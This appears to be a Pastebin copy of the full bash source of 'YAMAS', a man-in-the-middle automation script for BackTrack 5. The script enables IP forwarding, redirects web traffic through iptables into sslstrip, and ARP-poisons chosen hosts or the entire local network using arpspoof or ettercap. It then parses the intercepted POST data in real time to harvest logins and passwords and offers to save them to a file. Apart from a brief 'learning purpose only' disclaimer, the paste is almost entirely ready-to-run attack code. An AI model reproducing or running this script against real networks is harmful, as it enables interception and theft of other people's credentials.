Advertisement
iyan_squid

yamas on bt5

Jan 30th, 2012
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.25 KB | None | 0 0
  1. http://www.comax.fr/yamas/bt5/index.php
  2.  
  3. cut here
  4. ========================================================================
  5. #!/bin/bash
  6. # Bash script to launch man it the middle attack and sslstrip.
  7. # version 0.9 by comaX
  8. version="0.9.3"
  9. # if user ^C then execute cleanup function
  10. trap fast_cleanup SIGINT # will prolly output errors, but that's normal since it may try killing non-existing processes.
  11.  
  12.  
  13. fast_cleanup() {
  14. echo -e "\n\n\033[31m ^C catched. Cleaning up, then exit.\033[m"
  15. if [[ ${looparseid} != "" ]]; then kill ${looparseid}
  16. fi
  17. if [[ ${sslstripid} != "" ]]; then kill ${sslstripid}
  18. fi
  19. if [[ ${tailgrepid} != "" ]]; then kill ${tailgrepid}
  20. fi
  21. if [[ "$1" = "-e" || "$1" = "--etter" ]]; then
  22. killall ettercap
  23. else
  24. killall arpspoof
  25. fi
  26. echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
  27. iptables --flush # there are probably too many resets here,
  28. iptables --table nat --flush # but at least we're sure everything's clean
  29. iptables --delete-chain
  30. iptables --table nat --delete-chain
  31. if [ -e '/tmp/looparse.sh' ]; then
  32. rm /tmp/looparse.sh
  33. fi
  34. if [ -e '/tmp/grepcred.txt' ]; then
  35. rm /tmp/grepcred.txt
  36. fi
  37. echo -e "\033[32m[-] Clean up successful !\033[m"
  38. exit 0
  39. }
  40.  
  41.  
  42. #Let's define some arguments that can be passed to the script :
  43. if [[ "$1" = "-p" || "$1" = "--parse" ]]; then #parse a given filename
  44. if [[ $2 == "" ]]; then
  45. echo -e "No input file given. Quitting. \nusage : $0 -p <file>"</file>
  46. exit 0
  47. fi
  48. clear
  49. wget -q http://comax.fr/yamas/bt5/grepcred.txt -O /tmp/grepcred.txt
  50. echo -e "Parsing $2 for credentials.\n\n"
  51. cat $2 |
  52. awk -F "(" '/POST Data/ {for (i=1;i
  53. awk -F "&" '{for(i=1;i
  54. egrep -i -a -f /tmp/grepcred.txt |
  55. awk -F "=" '{if (length($2) < 4) print "";
  56. else if ($1 ~/Website/) print $0;
  57. else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
  58. else print "Login = \t"$2}' |
  59. uniq
  60. rm /tmp/grepcred.txt
  61. exit 0
  62. fi
  63.  
  64.  
  65. if [[ "$1" = "-e" || "$1" = "--etter" ]]; then
  66. echo -e "\tYou will be using Ettercap instead of ARPspoof."
  67. sleep 0.5
  68. fi
  69.  
  70. if [[ "$1" = "-h" || "$1" = "--help" ]]; then #define help message
  71. clear
  72. echo -e "You are running $0, version $version.
  73.  
  74.  
  75.  
  76. usage : $0 [-h | --help] [-p | --parse <file>]</file>
  77. -h or --help : Display this help message, disclaimer and exit.
  78.  
  79. -c or --change: Display changelog and todo.
  80. -e or --etter : Use ettercap instead of ARPspoof. One might have one's reasons...
  81. ARPspoof is default.
  82. -p or --parse : Only parse the given <file>. Don't use wildcards.</file>
  83. Use > /output_file to print to a file.
  84.  
  85.  
  86. \033[31m DISCLAIMER :\033[m
  87. This program is intended for learning purpose only. I do not condone hacking
  88. and wouldn't be held responsible for your actions. Only you would face legal
  89. consequences if you used this script for illegal activities.
  90.  
  91.  
  92. \033[31m What I think should be learnt from this script :\033[m
  93. This script should teach you how easy it is to steal sensitive online
  94. credentials and how to protect you from it, provided you understand
  95. what this program does. The best way to understand what it does is
  96. to look at its source. This will also teach you basic shell scripting."
  97. exit 0
  98. fi
  99. if [[ "$1" = "-c" || "$1" = "--change" ]]; then #Changelog
  100. clear
  101. echo -e "\033[31m Changelog :\033[m
  102. Should be added in next version/revision :
  103. - Stop ettercap without user input. (0.9.1)
  104. - Submit your ideas !
  105. - We're close to a final version !
  106.  
  107.  
  108. Added in v0.9
  109. - Ettercap support (with -e switch in parameters)
  110. - Code enhancing.
  111.  
  112.  
  113. Added in v0.8
  114. - Tail-greping log file so we can be sure there is traffic being sniffed
  115. - New parsing method from scratch : should be lighter, less CPU consuming, and most of all, outputs websites as well.
  116. This should be tested though to ensure maximum reliability. Please report back !
  117. 0.8.5 : now grep from downloaded file, to allow more updates on parsing, without updating the whole script.
  118. - New -p option to allow only parsing a file. (v0.8.5)
  119. - More improvements.
  120. - Catching ^C and cleanup before quitting. (v0.8.5)
  121. - Realtime parsing menu. (V0.8.5)
  122.  
  123.  
  124. \033[31mFeatures :\033[m
  125. - Output of credentials as they are sniffed in xterm window.
  126. - Log parsing for user-friendly output.
  127. - Both arpspoof and ettercap are suported
  128. - Network mapping for host discovery.
  129. - Can save \"dumped\" passwords to file.
  130. - Support for multiple targets on the network.
  131. - Can parse a single file.
  132. - Install sslstrip if needed.
  133. - Display ASCII tables for better readability of creds.
  134. - All options know default, pressing only enter should get you through.
  135. - Very neat and kewl ascii =D
  136.  
  137.  
  138. \033[31m Credits :\033[m
  139. Credits go to all people on backtrack forums for their help and support,
  140. and google for being my best friend with scripting.
  141. Special kudos to ShortBuss for something I should have seen a
  142. long time ago (sslstrip before arpspoof) and many little improvements.
  143. And of course, to the people responsible for the tools I am using in this script.
  144.  
  145.  
  146. Please criticize this program or submit ideas on the official thread at
  147. http://tinyurl.com/yamas-bt5 or send me a mail at contact.comax@gmail.com"
  148. exit
  149. fi
  150.  
  151.  
  152. ### Message of the day !
  153. wget -q http://comax.fr/yamas/bt5/message -O /tmp/message
  154. message=$(cat /tmp/message) #store it to variable
  155. rm /tmp/message #remove temp message file
  156.  
  157.  
  158. ### Check for updates !
  159. wget -q http://comax.fr/yamas/bt5/version -O /tmp/version # Get last version number
  160. last_version=$(cat /tmp/version) #store it to variable
  161. rm /tmp/version #remove temp version file
  162.  
  163.  
  164. if [[ $last_version > $version ]] ; then # Comparing to current version
  165. echo -e "You are running version \033[31m$version\033[m, do you want to update to \033[32m$last_version\033[m? (Y/N)"
  166. read update
  167. if [[ $update = Y || $update = y ]] ; then
  168. echo "[+] Updating script..."
  169. wget -q http://comax.fr/yamas/bt5/yamas.sh -O $0
  170. chmod +x $0
  171. echo "[-] Script updated !"
  172. if [[ $0 != '/usr/bin/yamas' ]] ; then
  173. echo -e "Do you want to install it so that you can launch it with \"yamas\" ?"
  174. read install
  175. if [[ $install = Y || $install = y ]] ; then #do not proceed to install if using installed version : updating it already "installed" it over.
  176. cp $0 /usr/bin/yamas
  177. chmod +x /usr/bin/yamas
  178. echo "Script should now be installed, launching yamas !"
  179. sleep 3
  180. yamas
  181. exit 1
  182. else echo "Ok, continuing with updated version..."
  183. sleep 3
  184. $0
  185. exit 1
  186. fi
  187. fi
  188. sleep 2
  189. $0
  190. exit 1
  191. else echo "Ok, continuing with current version..."
  192. fi
  193. else echo "No update available"
  194. fi
  195. ### End of update process
  196.  
  197.  
  198. ### Install process
  199. if [[ ! -e '/usr/bin/yamas' ]] ; then
  200. echo "Script is not installed. Do you want to install it ? (Y/N)"
  201. read install
  202. if [[ $install = Y || $install = y ]] ; then
  203. cp -v $0 /usr/bin/yamas
  204. chmod +x /usr/bin/yamas
  205. rm $0
  206. echo "Script should now be installed. Launching it !"
  207. sleep 3
  208. yamas
  209. exit 1
  210. else echo "Ok, not installing then !"
  211. fi
  212. else echo "Script is installed"
  213. sleep 1
  214. fi
  215. ### End of install process
  216. clear
  217. echo -e "
  218. _______ _______ _______ _______ _______ _____
  219. |\ /|( ___ )( )( ___ )( ____ \ |\ /|( __ ) / ___ \
  220. ( \ / )| ( ) || () () || ( ) || ( \/ | ) ( || ( ) | ( ( ) )
  221. \ (_) / | (___) || || || || (___) || (_____ | | | || | / | ( (___) |
  222. \ / | ___ || |(_)| || ___ |(_____ ) ( ( ) )| (/ /) | \____ |
  223. ) ( | ( ) || | | || ( ) | ) | \ \_/ / | / | | ) |
  224. | | | ) ( || ) ( || ) ( |/\____) | \ / | (__) | _ /\____) )
  225. \_/ |/ \||/ \||/ \|\_______) \_/ (_______)(_)\______/ " #
  226. echo -e "===========================================================================
  227. =\033[31m Welcome to Yet Another MITM Automation Script.\033[m =
  228. =\033[31m Use this tool responsibly, and enjoy!\033[m =
  229. = Feel free to contribute and distribute this script as you please. =
  230. = Official thread : http://tinyurl.com/yamas-bt5 =
  231. = Check out the help (-h) to see new features and informations =
  232. = You are running version \033[32m$version\033[m =
  233. ==========================================================================="
  234. echo -e "\033[36mMessage of the day :\033[m"
  235. echo -e "$message"
  236. echo
  237. # Starting fresh : reset IP forward and iptables
  238. echo -e "\033[31m [+] Cleaning iptables \033[m"
  239. echo "0" > /proc/sys/net/ipv4/ip_forward
  240. iptables --flush
  241. iptables --table nat --flush
  242. iptables --delete-chain
  243. iptables --table nat --delete-chain
  244. echo "[-] Cleaned."
  245.  
  246.  
  247. # Defining exit function and other ending features
  248.  
  249.  
  250. cleanup() {
  251. echo
  252. echo -e "\033[31m[+] Killing processes and resetting iptable.\033[m"
  253.  
  254.  
  255. kill ${sslstripid}
  256. kill ${looparseid}
  257. if [[ ${tailgrepid} != "" ]]; then kill ${tailgrepid}
  258. fi
  259. if [[ "$1" = "-e" || "$1" = "--etter" ]]; then
  260. killall ettercap
  261. else
  262. killall arpspoof
  263. fi
  264. echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
  265. iptables --flush # there are probably too many resets here,
  266. iptables --table nat --flush # but at least we're sure everything's clean
  267. iptables --delete-chain
  268. iptables --table nat --delete-chain
  269. rm /tmp/looparse.sh
  270. rm /tmp/grepcred.txt
  271.  
  272.  
  273. echo -e "\033[32m[-] Clean up successful !\033[m"
  274. echo -e "\nDo you want to keep the whole log file for further use or shall we delete it? (Y=keep)"
  275. echo "(If you want to keep it, it will be stored in /root/$filename.txt)"
  276. read -e keep
  277. if [[ $keep = "Y" || $keep = "y" ]] ; then # double brackets because double condition. || signifies "or"
  278. cp /tmp/$filename.txt /root/$filename.txt #moving file
  279. if [ -f "/root/$filename.txt" ]; then #check if it exists
  280. echo "Log file copied !" #it does
  281. else echo "Error while copying log file. Go check /tmp/ for $filename.txt" #it does not
  282. fi
  283. else echo "Logs not saved"
  284. fi
  285. echo
  286. echo "Do you want to save passwords to a file? (Y=keep)"
  287. echo "(If you want to keep it, it will be saved in /root/$filename.pass.txt)"
  288. read -e keeppd
  289. if [[ $keeppd = "Y" || $keeppd = "y" ]] ; then # double brackets because double condition. || signifies "or"
  290. wget -q http://comax.fr/yamas/bt5/grepcred.txt -O /tmp/grepcred.txt
  291. cat /tmp/$filename.txt |
  292. awk -F "(" '/POST Data/ {for (i=1;i
  293. awk -F "&" '{for(i=1;i
  294. egrep -i -a -f /tmp/grepcred.txt |
  295. awk -F "=" '{if (length($2) < 4) print "";
  296. else if ($1 ~/Website/) print $0;
  297. else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
  298. else print "Login = \t"$2}' |
  299. uniq >> /root/$filename.pass.txt # >> appends to a potential previous file.
  300. if [ -f "/root/$filename.pass.txt" ]; then #check if it exists
  301. echo "Passwords saved !" #it does
  302. else echo "Error while saving passwords" #it does not
  303. fi
  304. else echo "Password saving skipped."
  305. fi
  306. rm /tmp/$filename.txt
  307. echo -e "\nTemporary files deleted."
  308.  
  309.  
  310. if [ -f "/usr/bin/yamas" ]; then #check if script is already installed
  311. echo
  312. echo
  313. exit 1 #if yes, exit.
  314. else
  315. echo "This script is not installed yet. Do you wish to install it, so that you can reuse it later on by simply issuing 'yamas' in console? (Y/N)"
  316. read -e install
  317. if [[ $install = "Y" || $install="y" ]] ; then
  318. cp ./yamas.sh /usr/bin/yamas #copy and rename script
  319. echo -e "\033[32m Script installed !\033[m"
  320. else echo "Script not installed."
  321. fi
  322. fi
  323. exit 1
  324. }
  325.  
  326.  
  327. updatestrip() {
  328. wget -q http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
  329. tar zxvf sslstrip-0.9.tar.gz
  330. cd sslstrip-0.9
  331. python ./setup.py install > /dev/null
  332. cd ..
  333. rm sslstrip-0.9.tar.gz
  334. }
  335.  
  336.  
  337. search=$(ip route show | awk '(NR == 1) { print $1}') #store gateway/24 for whole network mapping to variable
  338. #We put it here in the middle, because it could be used two times, but the gateway shouldn't change,
  339. #so there is no need to do it twice.
  340. rescan () {
  341. echo -e "\033[31m"
  342. nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discorvey
  343. echo -en "\033[m"
  344. final
  345. }
  346.  
  347.  
  348. add_target() {
  349. echo "Enter a new IP adress to attack :"
  350. read newip
  351. xterm -geometry 90x3-1-1 -T "Poisoning $newip" -e arpspoof -i $iface -t $newip $gateway 2>/dev/null & sleep 2
  352. final
  353. }
  354.  
  355.  
  356. ascii() {
  357. clear
  358. wget -q http://comax.fr/yamas/bt5/ascii -O /tmp/ascii
  359. cat /tmp/ascii
  360. rm /tmp/ascii
  361. final
  362. }
  363.  
  364.  
  365. tailsecure() {
  366. xterm -geometry 50x50+10+10 -T "Tail-greping for secure references" -e "tail -f /tmp/$filename.txt | grep 'Resolving host:'" & tailgrepid=$!
  367. final
  368. }
  369.  
  370.  
  371. rtparse() {
  372. echo -e "\n\nIn this menu, you can pause, resume, kill, or launch realtime parsing (RTP).
  373. 1. Pause RTP (keep xterm open for you to read, copypasta, etc.)
  374. 2. Resume RTP.
  375. 3. Kill RTP (stop and close xterm)
  376. 4. Re-launch RTP
  377. 5. Previous menu."
  378. read rtp
  379. if [ "$rtp" = "1" ] ; then
  380. echo -e "\033[33m[+]Pausing...\033[m"
  381. kill -19 ${looparseid}
  382. echo -e "\033[33m[-]Paused.\033[m"
  383. rtparse
  384. elif [ "$rtp" = "2" ] ; then
  385. echo -e "\033[33m[+]Resuming...\033[m"
  386. kill -18 ${looparseid}
  387. echo -e "\033[33m[-]Resumed.\033[m"
  388. rtparse
  389. elif [ "$rtp" = "3" ] ; then
  390. echo -e "\033[31m[+]Killing...\033[m"
  391. kill ${looparseid}
  392. echo -e "\033[33m[-]Killed.\033[m"
  393. rtparse
  394. elif [ "$rtp" = "4" ] ; then
  395. echo -e "\033[32m[+]Launching...\033[m"
  396. xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$!
  397. sleep 2
  398. echo -e "\033[33m[-]Launched.\033[m"
  399. rtparse
  400. elif [ "$rtp" = "5" ] ; then
  401. echo "Previous"
  402. final
  403. else echo -e "\033[31mBad choice bro !\033[m\n" #was "motherfucker" during my tests.
  404. rtparse
  405. fi
  406. }
  407.  
  408.  
  409. final() {
  410. echo -e "\n\033[32mAttack is running\033[m. You can :
  411. 1. Rescan network.
  412. 2. Add a target (useless if targeting whole network).
  413. 3. Display ASCII correspondence table.
  414. 4. Tail-grep hosts through output (make sure there is traffic).
  415. 5. Real-time parsing...
  416. 6. Quit properly.
  417.  
  418.  
  419. Enter the number of the desired option."
  420. read final
  421. if [ "$final" = "1" ] ; then
  422. rescan
  423. elif [ "$final" = "2" ] ; then
  424. add_target
  425. elif [ "$final" = "3" ] ; then
  426. ascii
  427. elif [ "$final" = "4" ] ; then
  428. tailsecure
  429. elif [ "$final" = "5" ] ; then
  430. rtparse
  431. elif [ "$final" = "6" ] ; then
  432. cleanup
  433. else echo -e "\033[31mBad choice bro !\033[m\n" #was "motherfucker" during my tests.
  434. final
  435. fi
  436. }
  437.  
  438.  
  439. ###############################End of functions#############################
  440.  
  441.  
  442. # IP forwarding
  443. echo
  444. echo -e "\033[31m [+] Activating IP forwarding... \033[m"
  445. echo "1" > /proc/sys/net/ipv4/ip_forward
  446. echo "[-] Activated."
  447.  
  448.  
  449. #Iptables
  450. echo
  451. echo -e "\033[31m [+] Configuring iptables... \033[m"
  452. echo -en "\033[31m To \033[mwhat port should the traffic be redirected to? (default = 8080)"
  453. echo
  454. read -e outport
  455. if [ "$outport" = "" ] ; then
  456. outport=8080
  457. echo -e "Port $outport selected as default.\n"
  458. fi
  459. echo -en "\033[31m From \033[mwhat port should the traffic be redirected to? (default = 80)"
  460. echo
  461. read -e inport
  462. if [ "$inport" = "" ] ; then
  463. inport=80
  464. echo -e "Port $inport selected as default.\n"
  465. fi
  466. echo -e "\n\033[33m Traffic from port $inport will be redirected to port $outport \033[m"
  467. iptables -t nat -A PREROUTING -p tcp --destination-port $inport -j REDIRECT --to-port $outport
  468. echo "[-] Traffic rerouted"
  469.  
  470.  
  471. #Sslstrip
  472. echo
  473. echo -e "\033[31m [+] Activating sslstrip... \033[m"
  474. echo "Choose filename to output : (default = yamas)"
  475. read -e filename
  476. if [ "$filename" = "" ] ; then
  477. filename="yamas"
  478. fi
  479. echo -e "\033[33m Sslstrip will be listening on port $outport and outputting log in /tmp/$filename.txt\033[m"
  480. #### BEGIN of update process ####
  481. if [ -e '/usr/local/bin/sslstrip' ]; then # If sslstrip exists
  482. sslversion=$(cat /usr/local/bin/sslstrip | grep "gVersion =" | awk -F \" ' {print $2} ') #store version to var
  483. if [[ $sslversion < "0.9" ]]; then #if less than 0.9, ask to update
  484. echo -e "Sslstrip version $sslversion is installed but a newer one (0.9) exists. Do you want to update \033[4mand\033[m install latest
  485. version ? [Y/N]
  486. Note that it will download it from the official website, but might be not supported by BT team on the forums as long as it's not in the repos. It
  487. should be safe to use though."
  488. read -e sslupdate
  489. if [[ $sslupdate = "Y" || $sslupdate = "y" ]] ; then #if yes, updating.
  490. updatestrip
  491. sslversion=$(cat /usr/local/bin/sslstrip | grep "gVersion =" | awk -F \" ' {print $2} ') #re-store version to var
  492. if [[ $sslversion = "0.9" ]]; then echo -e "\n\033[32mInstall successful !\033[m"
  493. else echo "\033[33mOops, install failed.\033[m Continuing with current version."
  494. fi
  495. else echo "All right, continuing with current version."
  496. fi
  497. elif [[ $sslversion = "0.9" ]]; then
  498. echo -e "\n\033[32mSslstrip is up to date, continuing...\033[m"
  499. fi
  500. sslstrip -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  501. sleep 3
  502. #### END of update process ####
  503.  
  504.  
  505.  
  506. elif [ -x '/pentest/web/sslstrip/sslstrip.py' ]; then
  507. sslversion=$(cat /pentest/web/sslstrip/sslstrip.py | grep "gVersion =" | awk -F \" ' {print $2} ') #store version to var
  508. if [[ $sslversion < "0.9" ]]; then #if less than 0.9, ask to update
  509. echo -e "Sslstrip v$sslversion was found, not installed, but executable. Do you want to \033[4mU\033[mpdate or \033[4mC\033[montinue ? "
  510. read -e sslupdate
  511. if [[ $sslupdate = "U" || $sslupdate = "u" ]] ; then #if yes, updating.
  512. updatestrip
  513. sslversion=$(cat /usr/local/bin/sslstrip | grep "gVersion =" | awk -F \" ' {print $2} ') #re-store version to var
  514. if [[ $sslversion = "0.9" ]]; then echo -e "\n\033[32mInstall successful !\033[m"
  515. sslstrip -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  516. sleep 3
  517. else echo "\033[33mOops, install failed.\033[m Continuing with current, non installed version."
  518. /pentest/web/sslstrip/sslstrip.py -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  519. sleep 3
  520. fi
  521. else echo "All right, continuing with current, non-installed version."
  522. /pentest/web/sslstrip/sslstrip.py -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  523. sleep 3
  524. fi
  525. fi
  526.  
  527.  
  528. #output log to temp file
  529. elif [ -e '/pentest/web/sslstrip/sslstrip.py' ]; then
  530. echo "Sslstrip was found, but not installed and not executable. Making it executable... (not
  531. installing)"
  532. chmod +x '/pentest/web/sslstrip/sslstrip.py'
  533. if [ -x '/pentest/web/sslstrip/sslstrip.py' ]; then
  534. echo "Now it is. Continuing..."
  535. /pentest/web/sslstrip/sslstrip.py -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null &
  536. sleep 3
  537. sslstripid=$! #output log to temp file
  538. fi
  539. else echo "Sslstrip couldn't be found. You might be using a wrong version of this script or it is not
  540. installed.
  541. You can download BT4r2 version of this script at http://tinyurl.com/mitm-yamas. To install sslstrip use
  542. apt-get install sslstrip. Do you want to install it ? (will quit after) Y/N"
  543. read apti
  544. if [[ $apti = "Y" || $apti = "y" ]] ; then
  545. apt-get install sslstrip
  546. exit 1
  547. fi
  548. fi
  549. sleep 2 #let time for sslstrip to launch. Might be bit too much, but better prevent than heal.
  550. echo
  551. echo -e " [-] Sslstrip is running." # a bit redundant, but who cares?
  552. echo
  553.  
  554.  
  555. #Arpspoofing
  556. echo
  557. echo -e "\033[31m [+] Activating ARP cache poisoning... \033[m"
  558. echo
  559. ip route show | awk '(NR == 2) { print "Gateway :", $3," ", "Interface :", $5}' #Output IP route show user-friendly
  560. iface=$(ip route show | awk '(NR == 2) { print $5}')
  561. gateway=$(ip route show | awk '(NR == 2) { print $3}') #store gateway ip
  562. echo
  563. echo "Enter IP gateway adress or press enter to use $gateway."
  564. read -e gateway
  565. if [ "$gateway" = "" ] ; then
  566. gateway=$(ip route show | awk '(NR == 2) { print $3}') #restore gateway ip since pressing enter set our var to null
  567. echo -e "$gateway selected as default.\n"
  568. fi
  569. echo
  570. echo "What interface would you like to use? It should match IP gateway as shown above. Press enter to use $iface."
  571. read -e iface
  572. if [ "$iface" = "" ] ; then
  573. iface=$(ip route show | awk '(NR == 2) { print $5}') #store default interface
  574. echo -e "$iface selected as default.\n"
  575. fi
  576. echo -e "\r"
  577. echo -e "We will target the whole network as default. You can \033[4md\033[miscover hosts and enter IP(s) manually by entering \033[4mD\033[m.
  578. Press enter to default."
  579. read -e choicearp
  580. echo
  581.  
  582.  
  583. if [[ $choicearp = "D" || $choicearp = "d" ]] ; then
  584. echo
  585. echo -e "Do you want to map the network to show live hosts? (Y/N) [This might take up to 30 secs, be patient]"
  586. read -e hosts
  587. echo -e "\033[31m "
  588. if [[ $hosts = "Y" || $hosts = "y" ]] ; then
  589. nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discovery
  590. echo -e "\033[m " # switch color back to white
  591. else echo -e "\033[m "
  592. fi
  593. echo -e "Please enter targets according to usage : IP1 IP2 IP3.
  594. \033[31m Beware ! This will spawn as many windows as input targets and might slow down performances. If that was the case, then use whole network targeting.\033[m "
  595. arpspoofi() { # We launch ARPspoof in different xterm windows to keep script running
  596. while [ "$1" != "" ]; do
  597. xterm -geometry 90x3-1-1 -T "Poisoning $1" -e arpspoof -i $iface -t $1 $gateway 2>/dev/null & sleep 2
  598. shift
  599. done
  600. echo -e "\033[33m Targeting $parameters on $gateway on $iface with ARPspoof\033[m"
  601. }
  602. ettercapi() { # We launch ARPspoof in different xterm windows to keep script running
  603. while [ "$1" != "" ]; do
  604. xterm -geometry 90x3-1-1 -T "Poisoning $1" -e ettercap -o -q -i $iface -T -M arp /$1/ /$gateway/ 2>/dev/null & sleep 2
  605. shift
  606. done
  607. echo -e "\033[33m Targeting $parameters on $gateway on $iface with Ettercap\033[m"
  608. }
  609. echo "Enter IP adresse(s). Usage : IP1 IP2 IP3..."
  610. read -e parameters
  611. if [[ "$1" = "-e" || "$1" = "--etter" ]]; then
  612. ettercapi $parameters
  613. else
  614. arpspoofi $parameters
  615. fi
  616.  
  617.  
  618. else
  619. if [[ "$1" = "-e" || "$1" = "--etter" ]]; then
  620. xterm -geometry 90x3-1-1 -T ettercap -e ettercap -o -q -i $iface -T -M arp // // &
  621. sleep 2
  622. echo -e "\033[33m Targeting the whole network on $gateway on $iface with Ettercap\033[m"
  623. else
  624. xterm -geometry 90x3-1-1 -T arpspoof -e arpspoof -i $iface $gateway &
  625. sleep 2
  626. echo -e "\033[33m Targeting the whole network on $gateway on $iface with ARPspoof\033[m"
  627. fi
  628. fi
  629.  
  630.  
  631. echo -e "[-] Arp cache poisoning is launched. \033[31m Keep new window(s) running. \033[m"
  632.  
  633.  
  634. echo -e "\n\033[32m Attack should be running smooth, enjoy.\033[m"
  635. echo
  636. echo
  637. echo "looparse(){
  638. wget -q http://comax.fr/yamas/bt5/grepcred.txt -O /tmp/grepcred.txt
  639. while :
  640. do
  641. clear
  642. echo -e 'Note that %40 %21, etc. are ASCII chars. + means a space...\n'
  643. cat /tmp/$filename.txt |
  644. awk -F \"(\" '/POST Data/ {for (i=1;i
  645. awk -F \"&\" '{for(i=1;i
  646. egrep -i -f '/tmp/grepcred.txt' |
  647. awk -F \"=\" '{if (length(\$2) < 3) print \"\";
  648. else if (\$1 ~/[W]/) print \$0;
  649. else if (\$1 ~/[Pp]/) print \"Password = \t\" \$2\"\n\";
  650. else print \"Login = \t\t\", \$2}' |
  651. uniq
  652. sleep 7
  653. done
  654. }
  655. looparse" > /tmp/looparse.sh #We create a parsing script on-the-fly, chmod it, run it, kill it and remove it at the end.
  656. chmod +x /tmp/looparse.sh
  657. xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$! #here's the beauty
  658. sleep 2
  659. final #call the "final" function. Yes, it's the final one.
  660. ### End of the script fellas.
  661. ===========================================================================
  662. cut here
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement